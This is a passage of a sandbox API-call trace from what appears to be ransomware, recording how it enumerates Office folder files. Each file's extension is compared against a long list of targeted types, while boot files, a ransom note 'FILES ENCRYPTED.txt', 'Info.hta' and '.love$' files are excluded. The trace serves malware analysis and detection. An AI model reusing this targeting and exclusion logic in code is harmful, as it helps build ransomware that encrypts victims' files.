(lpString=".asx") returned 4 [0228.948] lstrcmpiW (lpString1=".asx", lpString2=".GIF") returned -1 [0228.948] lstrlenW (lpString=".avi") returned 4 [0228.949] lstrcmpiW (lpString1=".avi", lpString2=".GIF") returned -1 [0228.949] lstrlenW (lpString=".avs") returned 4 [0228.949] lstrcmpiW (lpString1=".avs", lpString2=".GIF") returned -1 [0228.949] lstrlenW (lpString=".backup") returned 7 [0228.949] lstrcmpiW (lpString1=".backup", lpString2="51F.GIF") returned -1 [0228.949] lstrlenW (lpString=".bak") returned 4 [0228.949] lstrcmpiW (lpString1=".bak", lpString2=".GIF") returned -1 [0228.949] lstrlenW (lpString=".bay") returned 4 [0228.949] lstrcmpiW (lpString1=".bay", lpString2=".GIF") returned -1 [0228.949] lstrlenW (lpString=".bd") returned 3 [0228.949] lstrcmpiW (lpString1=".bd", lpString2="GIF") returned -1 [0228.949] lstrlenW (lpString=".bin") returned 4 [0228.949] lstrcmpiW (lpString1=".bin", lpString2=".GIF") returned -1 [0228.949] lstrlenW (lpString=".bmp") returned 4 [0228.949] lstrcmpiW (lpString1=".bmp", lpString2=".GIF") returned -1 [0228.949] lstrlenW (lpString=".bz2") returned 4 [0228.949] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0228.949] lstrlenW (lpString=".c") returned 2 [0228.949] lstrcmpiW (lpString1=".c", lpString2="IF") returned -1 [0228.949] lstrlenW (lpString=".cdr") returned 4 [0228.949] lstrcmpiW (lpString1=".cdr", lpString2=".GIF") returned -1 [0228.949] lstrlenW (lpString=".cer") returned 4 [0228.949] lstrcmpiW (lpString1=".cer", lpString2=".GIF") returned -1 [0228.949] lstrlenW (lpString=".cf") returned 3 [0228.949] lstrcmpiW (lpString1=".cf", lpString2="GIF") returned -1 [0228.949] lstrlenW (lpString=".cfc") returned 4 [0228.949] lstrcmpiW (lpString1=".cfc", lpString2=".GIF") returned -1 [0228.949] lstrlenW (lpString=".cfm") returned 4 [0228.949] lstrcmpiW (lpString1=".cfm", lpString2=".GIF") returned -1 [0228.950] lstrlenW (lpString=".cfml") returned 5 [0228.950] lstrcmpiW (lpString1=".cfml", lpString2="F.GIF") returned -1 [0228.950] lstrlenW (lpString=".cfu") returned 4 [0228.950] lstrcmpiW (lpString1=".cfu", lpString2=".GIF") returned -1 [0228.950] lstrlenW (lpString=".chm") returned 4 [0228.950] lstrcmpiW (lpString1=".chm", lpString2=".GIF") returned -1 [0228.950] lstrlenW (lpString=".cin") returned 4 [0228.950] lstrcmpiW (lpString1=".cin", lpString2=".GIF") returned -1 [0228.950] lstrlenW (lpString=".class") returned 6 [0228.950] lstrcmpiW (lpString1=".class", lpString2="1F.GIF") returned -1 [0228.950] lstrlenW (lpString=".clx") returned 4 [0228.950] lstrcmpiW (lpString1=".clx", lpString2=".GIF") returned -1 [0228.950] lstrlenW (lpString=".config") returned 7 [0228.950] lstrcmpiW (lpString1=".config", lpString2="51F.GIF") returned -1 [0228.950] lstrlenW (lpString=".cpp") returned 4 [0228.950] lstrcmpiW (lpString1=".cpp", lpString2=".GIF") returned -1 [0228.950] lstrlenW (lpString=".cr2") returned 4 [0228.950] lstrcmpiW (lpString1=".cr2", lpString2=".GIF") returned -1 [0228.950] lstrlenW (lpString=".crt") returned 4 [0228.950] lstrcmpiW (lpString1=".crt", lpString2=".GIF") returned -1 [0228.950] lstrlenW (lpString=".crw") returned 4 [0228.950] lstrcmpiW (lpString1=".crw", lpString2=".GIF") returned -1 [0228.950] lstrlenW (lpString=".cs") returned 3 [0228.950] lstrcmpiW (lpString1=".cs", lpString2="GIF") returned -1 [0228.950] lstrlenW (lpString=".css") returned 4 [0228.950] lstrcmpiW (lpString1=".css", lpString2=".GIF") returned -1 [0228.950] lstrlenW (lpString=".csv") returned 4 [0228.950] lstrcmpiW (lpString1=".csv", lpString2=".GIF") returned -1 [0228.950] lstrlenW (lpString=".cub") returned 4 [0228.950] lstrcmpiW (lpString1=".cub", lpString2=".GIF") returned -1 [0228.951] lstrlenW (lpString=".dae") returned 4 [0228.951] lstrcmpiW (lpString1=".dae", lpString2=".GIF") returned -1 [0228.951] lstrlenW (lpString=".dat") returned 4 [0228.951] lstrcmpiW (lpString1=".dat", lpString2=".GIF") returned -1 [0228.951] lstrlenW (lpString=".db") returned 3 [0228.951] lstrcmpiW (lpString1=".db", lpString2="GIF") returned -1 [0228.951] lstrlenW (lpString=".dbf") returned 4 [0228.951] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0228.951] lstrlenW (lpString=".dbx") returned 4 [0228.951] lstrcmpiW (lpString1=".dbx", lpString2=".GIF") returned -1 [0228.951] lstrlenW (lpString=".dc3") returned 4 [0228.951] lstrcmpiW (lpString1=".dc3", lpString2=".GIF") returned -1 [0228.951] lstrlenW (lpString=".dcm") returned 4 [0228.951] lstrcmpiW (lpString1=".dcm", lpString2=".GIF") returned -1 [0228.951] lstrlenW (lpString=".dcr") returned 4 [0228.951] lstrcmpiW (lpString1=".dcr", lpString2=".GIF") returned -1 [0228.951] lstrlenW (lpString=".der") returned 4 [0228.951] lstrcmpiW (lpString1=".der", lpString2=".GIF") returned -1 [0228.951] lstrlenW (lpString=".dib") returned 4 [0228.951] lstrcmpiW (lpString1=".dib", lpString2=".GIF") returned -1 [0228.951] lstrlenW (lpString=".dic") returned 4 [0228.951] lstrcmpiW (lpString1=".dic", lpString2=".GIF") returned -1 [0228.951] lstrlenW (lpString=".dif") returned 4 [0228.951] lstrcmpiW (lpString1=".dif", lpString2=".GIF") returned -1 [0228.951] lstrlenW (lpString=".divx") returned 5 [0228.951] lstrcmpiW (lpString1=".divx", lpString2="F.GIF") returned -1 [0228.951] lstrlenW (lpString=".djvu") returned 5 [0228.951] lstrcmpiW (lpString1=".djvu", lpString2="F.GIF") returned -1 [0228.952] lstrlenW (lpString=".dng") returned 4 [0228.952] lstrcmpiW (lpString1=".dng", lpString2=".GIF") returned -1 [0228.952] lstrlenW (lpString=".doc") returned 4 [0228.952] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0228.952] lstrlenW (lpString=".docm") returned 5 [0228.952] lstrcmpiW (lpString1=".docm", lpString2="F.GIF") returned -1 [0228.952] lstrlenW (lpString=".docx") returned 5 [0228.952] lstrcmpiW (lpString1=".docx", lpString2="F.GIF") returned -1 [0228.952] lstrlenW (lpString=".dot") returned 4 [0228.952] lstrcmpiW (lpString1=".dot", lpString2=".GIF") returned -1 [0228.952] lstrlenW (lpString=".dotm") returned 5 [0228.952] lstrcmpiW (lpString1=".dotm", lpString2="F.GIF") returned -1 [0228.952] lstrlenW (lpString=".dotx") returned 5 [0228.952] lstrcmpiW (lpString1=".dotx", lpString2="F.GIF") returned -1 [0228.952] lstrlenW (lpString=".dpx") returned 4 [0228.952] lstrcmpiW (lpString1=".dpx", lpString2=".GIF") returned -1 [0228.952] lstrlenW (lpString=".dqy") returned 4 [0228.952] lstrcmpiW (lpString1=".dqy", lpString2=".GIF") returned -1 [0228.952] lstrlenW (lpString=".dsn") returned 4 [0228.952] lstrcmpiW (lpString1=".dsn", lpString2=".GIF") returned -1 [0228.952] lstrlenW (lpString=".dt") returned 3 [0228.952] lstrcmpiW (lpString1=".dt", lpString2="GIF") returned -1 [0228.952] lstrlenW (lpString=".dtd") returned 4 [0228.952] lstrcmpiW (lpString1=".dtd", lpString2=".GIF") returned -1 [0228.952] lstrlenW (lpString=".dwg") returned 4 [0228.952] lstrcmpiW (lpString1=".dwg", lpString2=".GIF") returned -1 [0228.952] lstrlenW (lpString=".dwt") returned 4 [0228.952] lstrcmpiW (lpString1=".dwt", lpString2=".GIF") returned -1 [0228.952] lstrlenW (lpString=".dx") returned 3 [0228.952] lstrcmpiW (lpString1=".dx", lpString2="GIF") returned -1 [0228.953] lstrlenW (lpString=".dxf") returned 4 [0228.953] lstrcmpiW (lpString1=".dxf", lpString2=".GIF") returned -1 [0228.953] lstrlenW (lpString=".edml") returned 5 [0228.953] lstrcmpiW (lpString1=".edml", lpString2="F.GIF") returned -1 [0228.953] lstrlenW (lpString=".efd") returned 4 [0228.953] lstrcmpiW (lpString1=".efd", lpString2=".GIF") returned -1 [0228.953] lstrlenW (lpString=".elf") returned 4 [0228.953] lstrcmpiW (lpString1=".elf", lpString2=".GIF") returned -1 [0228.953] lstrlenW (lpString=".emf") returned 4 [0228.953] lstrcmpiW (lpString1=".emf", lpString2=".GIF") returned -1 [0228.953] lstrlenW (lpString=".emz") returned 4 [0228.953] lstrcmpiW (lpString1=".emz", lpString2=".GIF") returned -1 [0228.953] lstrlenW (lpString=".epf") returned 4 [0228.953] lstrcmpiW (lpString1=".epf", lpString2=".GIF") returned -1 [0228.953] lstrlenW (lpString=".eps") returned 4 [0228.953] lstrcmpiW (lpString1=".eps", lpString2=".GIF") returned -1 [0228.953] lstrlenW (lpString=".epsf") returned 5 [0228.953] lstrcmpiW (lpString1=".epsf", lpString2="F.GIF") returned -1 [0228.953] lstrlenW (lpString=".epsp") returned 5 [0228.953] lstrcmpiW (lpString1=".epsp", lpString2="F.GIF") returned -1 [0228.953] lstrlenW (lpString=".erf") returned 4 [0228.953] lstrcmpiW (lpString1=".erf", lpString2=".GIF") returned -1 [0228.953] lstrlenW (lpString=".exr") returned 4 [0228.953] lstrcmpiW (lpString1=".exr", lpString2=".GIF") returned -1 [0228.953] lstrlenW (lpString=".f4v") returned 4 [0228.953] lstrcmpiW (lpString1=".f4v", lpString2=".GIF") returned -1 [0228.953] lstrlenW (lpString=".fido") returned 5 [0228.953] lstrcmpiW (lpString1=".fido", lpString2="F.GIF") returned -1 [0228.953] lstrlenW (lpString=".flm") returned 4 [0228.954] lstrcmpiW (lpString1=".flm", lpString2=".GIF") returned -1 [0228.954] lstrlenW (lpString=".flv") returned 4 [0228.954] lstrcmpiW (lpString1=".flv", lpString2=".GIF") returned -1 [0228.954] lstrlenW (lpString=".frm") returned 4 [0228.954] lstrcmpiW (lpString1=".frm", lpString2=".GIF") returned -1 [0228.954] lstrlenW (lpString=".fxg") returned 4 [0228.954] lstrcmpiW (lpString1=".fxg", lpString2=".GIF") returned -1 [0228.954] lstrlenW (lpString=".geo") returned 4 [0228.954] lstrcmpiW (lpString1=".geo", lpString2=".GIF") returned -1 [0228.954] lstrlenW (lpString=".gif") returned 4 [0228.954] lstrcmpiW (lpString1=".gif", lpString2=".GIF") returned 0 [0228.954] lstrlenW (lpString="PDIR51F.GIF") returned 11 [0228.954] lstrlenW (lpString=".love$") returned 6 [0228.954] lstrcmpiW (lpString1=".love$", lpString2="1F.GIF") returned -1 [0228.954] lstrlenW (lpString="PDIR51F.GIF") returned 11 [0228.954] lstrcmpiW (lpString1="boot.ini", lpString2="PDIR51F.GIF") returned -1 [0228.954] lstrcmpiW (lpString1="bootfont.bin", lpString2="PDIR51F.GIF") returned -1 [0228.954] lstrcmpiW (lpString1="ntldr", lpString2="PDIR51F.GIF") returned -1 [0228.954] lstrcmpiW (lpString1="ntdetect.com", lpString2="PDIR51F.GIF") returned -1 [0228.954] lstrcmpiW (lpString1="io.sys", lpString2="PDIR51F.GIF") returned -1 [0228.954] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="PDIR51F.GIF") returned -1 [0228.954] lstrcmpiW (lpString1="Info.hta", lpString2="PDIR51F.GIF") returned -1 [0228.954] lstrcmpiW (lpString1="finbbp.exe", lpString2="PDIR51F.GIF") returned -1 [0228.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR51F.GIF") returned 73 [0228.954] FindNextFileW (in: hFindFile=0x6cffc8, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xad8b362, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xad8b362, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xadb15e3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4c88, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR5B.GIF", cAlternateFileName="")) returned 1 [0228.955] lstrlenW (lpString="PDIR5B.GIF") returned 10 [0228.955] lstrlenW (lpString=".1cd") returned 4 [0228.955] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0228.955] lstrlenW (lpString=".3ds") returned 4 [0228.955] lstrcmpiW (lpString1=".3ds", lpString2=".GIF") returned -1 [0228.955] lstrlenW (lpString=".3fr") returned 4 [0228.955] lstrcmpiW (lpString1=".3fr", lpString2=".GIF") returned -1 [0228.955] lstrlenW (lpString=".3g2") returned 4 [0228.955] lstrcmpiW (lpString1=".3g2", lpString2=".GIF") returned -1 [0228.955] lstrlenW (lpString=".3gp") returned 4 [0228.955] lstrcmpiW (lpString1=".3gp", lpString2=".GIF") returned -1 [0228.955] lstrlenW (lpString=".7z") returned 3 [0228.955] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0228.955] lstrlenW (lpString=".accda") returned 6 [0228.955] lstrcmpiW (lpString1=".accda", lpString2="5B.GIF") returned -1 [0228.955] lstrlenW (lpString=".accdb") returned 6 [0228.955] lstrcmpiW (lpString1=".accdb", lpString2="5B.GIF") returned -1 [0228.955] lstrlenW (lpString=".accdc") returned 6 [0228.955] lstrcmpiW (lpString1=".accdc", lpString2="5B.GIF") returned -1 [0228.955] lstrlenW (lpString=".accde") returned 6 [0228.955] lstrcmpiW (lpString1=".accde", lpString2="5B.GIF") returned -1 [0228.955] lstrlenW (lpString=".accdt") returned 6 [0228.955] lstrcmpiW (lpString1=".accdt", lpString2="5B.GIF") returned -1 [0228.955] lstrlenW (lpString=".accdw") returned 6 [0228.955] lstrcmpiW (lpString1=".accdw", lpString2="5B.GIF") returned -1 [0228.955] lstrlenW (lpString=".adb") returned 4 [0228.955] lstrcmpiW (lpString1=".adb", lpString2=".GIF") returned -1 [0228.955] lstrlenW (lpString=".adp") returned 4 [0228.955] lstrcmpiW (lpString1=".adp", lpString2=".GIF") returned -1 [0228.956] lstrlenW (lpString=".ai") returned 3 [0228.956] lstrcmpiW (lpString1=".ai", lpString2="GIF") returned -1 [0228.956] lstrlenW (lpString=".ai3") returned 4 [0228.956] lstrcmpiW (lpString1=".ai3", lpString2=".GIF") returned -1 [0228.956] lstrlenW (lpString=".ai4") returned 4 [0228.956] lstrcmpiW (lpString1=".ai4", lpString2=".GIF") returned -1 [0228.956] lstrlenW (lpString=".ai5") returned 4 [0228.956] lstrcmpiW (lpString1=".ai5", lpString2=".GIF") returned -1 [0228.956] lstrlenW (lpString=".ai6") returned 4 [0228.956] lstrcmpiW (lpString1=".ai6", lpString2=".GIF") returned -1 [0228.956] lstrlenW (lpString=".ai7") returned 4 [0228.956] lstrcmpiW (lpString1=".ai7", lpString2=".GIF") returned -1 [0228.956] lstrlenW (lpString=".ai8") returned 4 [0228.956] lstrcmpiW (lpString1=".ai8", lpString2=".GIF") returned -1 [0228.956] lstrlenW (lpString=".anim") returned 5 [0228.956] lstrcmpiW (lpString1=".anim", lpString2="B.GIF") returned -1 [0228.956] lstrlenW (lpString=".arw") returned 4 [0228.956] lstrcmpiW (lpString1=".arw", lpString2=".GIF") returned -1 [0228.956] lstrlenW (lpString=".as") returned 3 [0228.956] lstrcmpiW (lpString1=".as", lpString2="GIF") returned -1 [0228.956] lstrlenW (lpString=".asa") returned 4 [0228.956] lstrcmpiW (lpString1=".asa", lpString2=".GIF") returned -1 [0228.956] lstrlenW (lpString=".asc") returned 4 [0228.956] lstrcmpiW (lpString1=".asc", lpString2=".GIF") returned -1 [0228.956] lstrlenW (lpString=".ascx") returned 5 [0228.956] lstrcmpiW (lpString1=".ascx", lpString2="B.GIF") returned -1 [0228.956] lstrlenW (lpString=".asm") returned 4 [0228.956] lstrcmpiW (lpString1=".asm", lpString2=".GIF") returned -1 [0228.956] lstrlenW (lpString=".asmx") returned 5 [0228.957] lstrcmpiW (lpString1=".asmx", lpString2="B.GIF") returned -1 [0228.957] lstrlenW (lpString=".asp") returned 4 [0228.957] lstrcmpiW (lpString1=".asp", lpString2=".GIF") returned -1 [0228.957] lstrlenW (lpString=".aspx") returned 5 [0228.957] lstrcmpiW (lpString1=".aspx", lpString2="B.GIF") returned -1 [0228.957] lstrlenW (lpString=".asr") returned 4 [0228.957] lstrcmpiW (lpString1=".asr", lpString2=".GIF") returned -1 [0228.957] lstrlenW (lpString=".asx") returned 4 [0228.957] lstrcmpiW (lpString1=".asx", lpString2=".GIF") returned -1 [0228.957] lstrlenW (lpString=".avi") returned 4 [0228.957] lstrcmpiW (lpString1=".avi", lpString2=".GIF") returned -1 [0228.957] lstrlenW (lpString=".avs") returned 4 [0228.957] lstrcmpiW (lpString1=".avs", lpString2=".GIF") returned -1 [0228.957] lstrlenW (lpString=".backup") returned 7 [0228.957] lstrcmpiW (lpString1=".backup", lpString2="R5B.GIF") returned -1 [0228.957] lstrlenW (lpString=".bak") returned 4 [0228.957] lstrcmpiW (lpString1=".bak", lpString2=".GIF") returned -1 [0228.957] lstrlenW (lpString=".bay") returned 4 [0228.957] lstrcmpiW (lpString1=".bay", lpString2=".GIF") returned -1 [0228.957] lstrlenW (lpString=".bd") returned 3 [0228.957] lstrcmpiW (lpString1=".bd", lpString2="GIF") returned -1 [0228.957] lstrlenW (lpString=".bin") returned 4 [0228.957] lstrcmpiW (lpString1=".bin", lpString2=".GIF") returned -1 [0228.957] lstrlenW (lpString=".bmp") returned 4 [0228.957] lstrcmpiW (lpString1=".bmp", lpString2=".GIF") returned -1 [0228.957] lstrlenW (lpString=".bz2") returned 4 [0228.957] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0228.957] lstrlenW (lpString=".c") returned 2 [0228.957] lstrcmpiW (lpString1=".c", lpString2="IF") returned -1 [0228.957] lstrlenW (lpString=".cdr") returned 4 [0228.958] lstrcmpiW (lpString1=".cdr", lpString2=".GIF") returned -1 [0228.958] lstrlenW (lpString=".cer") returned 4 [0228.958] lstrcmpiW (lpString1=".cer", lpString2=".GIF") returned -1 [0228.958] lstrlenW (lpString=".cf") returned 3 [0228.958] lstrcmpiW (lpString1=".cf", lpString2="GIF") returned -1 [0228.958] lstrlenW (lpString=".cfc") returned 4 [0228.958] lstrcmpiW (lpString1=".cfc", lpString2=".GIF") returned -1 [0228.958] lstrlenW (lpString=".cfm") returned 4 [0228.958] lstrcmpiW (lpString1=".cfm", lpString2=".GIF") returned -1 [0228.958] lstrlenW (lpString=".cfml") returned 5 [0228.958] lstrcmpiW (lpString1=".cfml", lpString2="B.GIF") returned -1 [0228.958] lstrlenW (lpString=".cfu") returned 4 [0228.958] lstrcmpiW (lpString1=".cfu", lpString2=".GIF") returned -1 [0228.958] lstrlenW (lpString=".chm") returned 4 [0228.958] lstrcmpiW (lpString1=".chm", lpString2=".GIF") returned -1 [0228.958] lstrlenW (lpString=".cin") returned 4 [0228.958] lstrcmpiW (lpString1=".cin", lpString2=".GIF") returned -1 [0228.958] lstrlenW (lpString=".class") returned 6 [0228.958] lstrcmpiW (lpString1=".class", lpString2="5B.GIF") returned -1 [0228.958] lstrlenW (lpString=".clx") returned 4 [0228.958] lstrcmpiW (lpString1=".clx", lpString2=".GIF") returned -1 [0228.958] lstrlenW (lpString=".config") returned 7 [0228.958] lstrcmpiW (lpString1=".config", lpString2="R5B.GIF") returned -1 [0228.958] lstrlenW (lpString=".cpp") returned 4 [0228.958] lstrcmpiW (lpString1=".cpp", lpString2=".GIF") returned -1 [0228.958] lstrlenW (lpString=".cr2") returned 4 [0228.958] lstrcmpiW (lpString1=".cr2", lpString2=".GIF") returned -1 [0228.958] lstrlenW (lpString=".crt") returned 4 [0228.958] lstrcmpiW (lpString1=".crt", lpString2=".GIF") returned -1 [0228.959] lstrlenW (lpString=".crw") returned 4 [0228.959] lstrcmpiW (lpString1=".crw", lpString2=".GIF") returned -1 [0228.959] lstrlenW (lpString=".cs") returned 3 [0228.959] lstrcmpiW (lpString1=".cs", lpString2="GIF") returned -1 [0228.959] lstrlenW (lpString=".css") returned 4 [0228.959] lstrcmpiW (lpString1=".css", lpString2=".GIF") returned -1 [0228.959] lstrlenW (lpString=".csv") returned 4 [0228.959] lstrcmpiW (lpString1=".csv", lpString2=".GIF") returned -1 [0228.959] lstrlenW (lpString=".cub") returned 4 [0228.959] lstrcmpiW (lpString1=".cub", lpString2=".GIF") returned -1 [0228.959] lstrlenW (lpString=".dae") returned 4 [0228.959] lstrcmpiW (lpString1=".dae", lpString2=".GIF") returned -1 [0228.959] lstrlenW (lpString=".dat") returned 4 [0228.959] lstrcmpiW (lpString1=".dat", lpString2=".GIF") returned -1 [0228.959] lstrlenW (lpString=".db") returned 3 [0228.959] lstrcmpiW (lpString1=".db", lpString2="GIF") returned -1 [0228.959] lstrlenW (lpString=".dbf") returned 4 [0228.959] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0228.959] lstrlenW (lpString=".dbx") returned 4 [0228.959] lstrcmpiW (lpString1=".dbx", lpString2=".GIF") returned -1 [0228.959] lstrlenW (lpString=".dc3") returned 4 [0228.959] lstrcmpiW (lpString1=".dc3", lpString2=".GIF") returned -1 [0228.959] lstrlenW (lpString=".dcm") returned 4 [0228.959] lstrcmpiW (lpString1=".dcm", lpString2=".GIF") returned -1 [0228.959] lstrlenW (lpString=".dcr") returned 4 [0228.959] lstrcmpiW (lpString1=".dcr", lpString2=".GIF") returned -1 [0228.959] lstrlenW (lpString=".der") returned 4 [0228.959] lstrcmpiW (lpString1=".der", lpString2=".GIF") returned -1 [0228.960] lstrlenW (lpString=".dib") returned 4 [0228.960] lstrcmpiW (lpString1=".dib", lpString2=".GIF") returned -1 [0228.960] lstrlenW (lpString=".dic") returned 4 [0228.960] lstrcmpiW (lpString1=".dic", lpString2=".GIF") returned -1 [0228.960] lstrlenW (lpString=".dif") returned 4 [0228.960] lstrcmpiW (lpString1=".dif", lpString2=".GIF") returned -1 [0228.960] lstrlenW (lpString=".divx") returned 5 [0228.960] lstrcmpiW (lpString1=".divx", lpString2="B.GIF") returned -1 [0228.960] lstrlenW (lpString=".djvu") returned 5 [0228.960] lstrcmpiW (lpString1=".djvu", lpString2="B.GIF") returned -1 [0228.960] lstrlenW (lpString=".dng") returned 4 [0228.960] lstrcmpiW (lpString1=".dng", lpString2=".GIF") returned -1 [0228.960] lstrlenW (lpString=".doc") returned 4 [0228.960] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0228.960] lstrlenW (lpString=".docm") returned 5 [0228.960] lstrcmpiW (lpString1=".docm", lpString2="B.GIF") returned -1 [0228.960] lstrlenW (lpString=".docx") returned 5 [0228.960] lstrcmpiW (lpString1=".docx", lpString2="B.GIF") returned -1 [0228.960] lstrlenW (lpString=".dot") returned 4 [0228.960] lstrcmpiW (lpString1=".dot", lpString2=".GIF") returned -1 [0228.960] lstrlenW (lpString=".dotm") returned 5 [0228.960] lstrcmpiW (lpString1=".dotm", lpString2="B.GIF") returned -1 [0228.960] lstrlenW (lpString=".dotx") returned 5 [0228.960] lstrcmpiW (lpString1=".dotx", lpString2="B.GIF") returned -1 [0228.960] lstrlenW (lpString=".dpx") returned 4 [0228.960] lstrcmpiW (lpString1=".dpx", lpString2=".GIF") returned -1 [0228.960] lstrlenW (lpString=".dqy") returned 4 [0228.960] lstrcmpiW (lpString1=".dqy", lpString2=".GIF") returned -1 [0228.960] lstrlenW (lpString=".dsn") returned 4 [0228.960] lstrcmpiW (lpString1=".dsn", lpString2=".GIF") returned -1 [0228.961] lstrlenW (lpString=".dt") returned 3 [0228.961] lstrcmpiW (lpString1=".dt", lpString2="GIF") returned -1 [0228.961] lstrlenW (lpString=".dtd") returned 4 [0228.961] lstrcmpiW (lpString1=".dtd", lpString2=".GIF") returned -1 [0228.961] lstrlenW (lpString=".dwg") returned 4 [0228.961] lstrcmpiW (lpString1=".dwg", lpString2=".GIF") returned -1 [0228.961] lstrlenW (lpString=".dwt") returned 4 [0228.961] lstrcmpiW (lpString1=".dwt", lpString2=".GIF") returned -1 [0228.961] lstrlenW (lpString=".dx") returned 3 [0228.961] lstrcmpiW (lpString1=".dx", lpString2="GIF") returned -1 [0228.961] lstrlenW (lpString=".dxf") returned 4 [0228.961] lstrcmpiW (lpString1=".dxf", lpString2=".GIF") returned -1 [0228.961] lstrlenW (lpString=".edml") returned 5 [0228.961] lstrcmpiW (lpString1=".edml", lpString2="B.GIF") returned -1 [0228.961] lstrlenW (lpString=".efd") returned 4 [0228.962] lstrcmpiW (lpString1=".efd", lpString2=".GIF") returned -1 [0228.962] lstrlenW (lpString=".elf") returned 4 [0228.962] lstrcmpiW (lpString1=".elf", lpString2=".GIF") returned -1 [0228.962] lstrlenW (lpString=".emf") returned 4 [0228.962] lstrcmpiW (lpString1=".emf", lpString2=".GIF") returned -1 [0228.962] lstrlenW (lpString=".emz") returned 4 [0228.962] lstrcmpiW (lpString1=".emz", lpString2=".GIF") returned -1 [0228.962] lstrlenW (lpString=".epf") returned 4 [0228.962] lstrcmpiW (lpString1=".epf", lpString2=".GIF") returned -1 [0228.962] lstrlenW (lpString=".eps") returned 4 [0228.962] lstrcmpiW (lpString1=".eps", lpString2=".GIF") returned -1 [0228.962] lstrlenW (lpString=".epsf") returned 5 [0228.962] lstrcmpiW (lpString1=".epsf", lpString2="B.GIF") returned -1 [0228.962] lstrlenW (lpString=".epsp") returned 5 [0228.962] lstrcmpiW (lpString1=".epsp", lpString2="B.GIF") returned -1 [0228.962] lstrlenW (lpString=".erf") returned 4 [0228.962] lstrcmpiW (lpString1=".erf", lpString2=".GIF") returned -1 [0228.962] lstrlenW (lpString=".exr") returned 4 [0228.962] lstrcmpiW (lpString1=".exr", lpString2=".GIF") returned -1 [0228.962] lstrlenW (lpString=".f4v") returned 4 [0228.962] lstrcmpiW (lpString1=".f4v", lpString2=".GIF") returned -1 [0228.962] lstrlenW (lpString=".fido") returned 5 [0228.962] lstrcmpiW (lpString1=".fido", lpString2="B.GIF") returned -1 [0228.962] lstrlenW (lpString=".flm") returned 4 [0228.962] lstrcmpiW (lpString1=".flm", lpString2=".GIF") returned -1 [0228.962] lstrlenW (lpString=".flv") returned 4 [0228.962] lstrcmpiW (lpString1=".flv", lpString2=".GIF") returned -1 [0228.962] lstrlenW (lpString=".frm") returned 4 [0228.962] lstrcmpiW (lpString1=".frm", lpString2=".GIF") returned -1 [0228.963] lstrlenW (lpString=".fxg") returned 4 [0228.963] lstrcmpiW (lpString1=".fxg", lpString2=".GIF") returned -1 [0228.963] lstrlenW (lpString=".geo") returned 4 [0228.963] lstrcmpiW (lpString1=".geo", lpString2=".GIF") returned -1 [0228.963] lstrlenW (lpString=".gif") returned 4 [0228.963] lstrcmpiW (lpString1=".gif", lpString2=".GIF") returned 0 [0228.963] lstrlenW (lpString="PDIR5B.GIF") returned 10 [0228.963] lstrlenW (lpString=".love$") returned 6 [0228.963] lstrcmpiW (lpString1=".love$", lpString2="5B.GIF") returned -1 [0228.963] lstrlenW (lpString="PDIR5B.GIF") returned 10 [0228.963] lstrcmpiW (lpString1="boot.ini", lpString2="PDIR5B.GIF") returned -1 [0228.963] lstrcmpiW (lpString1="bootfont.bin", lpString2="PDIR5B.GIF") returned -1 [0228.963] lstrcmpiW (lpString1="ntldr", lpString2="PDIR5B.GIF") returned -1 [0228.963] lstrcmpiW (lpString1="ntdetect.com", lpString2="PDIR5B.GIF") returned -1 [0228.963] lstrcmpiW (lpString1="io.sys", lpString2="PDIR5B.GIF") returned -1 [0228.963] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="PDIR5B.GIF") returned -1 [0228.963] lstrcmpiW (lpString1="Info.hta", lpString2="PDIR5B.GIF") returned -1 [0228.963] lstrcmpiW (lpString1="finbbp.exe", lpString2="PDIR5B.GIF") returned -1 [0228.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR5B.GIF") returned 72 [0228.963] FindNextFileW (in: hFindFile=0x6cffc8, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xadfda74, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xadfda74, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xadfda74, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xce72, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR5F.GIF", cAlternateFileName="")) returned 1 [0228.963] lstrlenW (lpString="PDIR5F.GIF") returned 10 [0228.963] lstrlenW (lpString=".1cd") returned 4 [0228.963] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0228.963] lstrlenW (lpString=".3ds") returned 4 [0228.963] lstrcmpiW (lpString1=".3ds", lpString2=".GIF") returned -1 [0228.964] lstrlenW (lpString=".3fr") returned 4 [0228.964] lstrcmpiW (lpString1=".3fr", lpString2=".GIF") returned -1 [0228.964] lstrlenW (lpString=".3g2") returned 4 [0228.964] lstrcmpiW (lpString1=".3g2", lpString2=".GIF") returned -1 [0228.964] lstrlenW (lpString=".3gp") returned 4 [0228.964] lstrcmpiW (lpString1=".3gp", lpString2=".GIF") returned -1 [0228.964] lstrlenW (lpString=".7z") returned 3 [0228.964] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0228.964] lstrlenW (lpString=".accda") returned 6 [0228.964] lstrcmpiW (lpString1=".accda", lpString2="5F.GIF") returned -1 [0228.964] lstrlenW 